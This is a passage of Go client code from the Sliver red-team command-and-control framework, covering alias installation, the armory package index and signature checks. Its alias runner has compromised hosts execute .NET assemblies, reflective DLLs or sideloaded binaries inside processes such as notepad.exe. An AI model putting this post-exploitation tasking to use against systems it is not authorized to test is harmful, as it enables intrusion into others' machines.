con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+445
View File
@@ -0,0 +1,445 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+75
View File
@@ -0,0 +1,75 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
+505
View File
@@ -0,0 +1,505 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
type ArmoryHTTPConfig struct {
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
+1
View File
@@ -0,0 +1 @@
package armory
+284
View File
@@ -0,0 +1,284 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
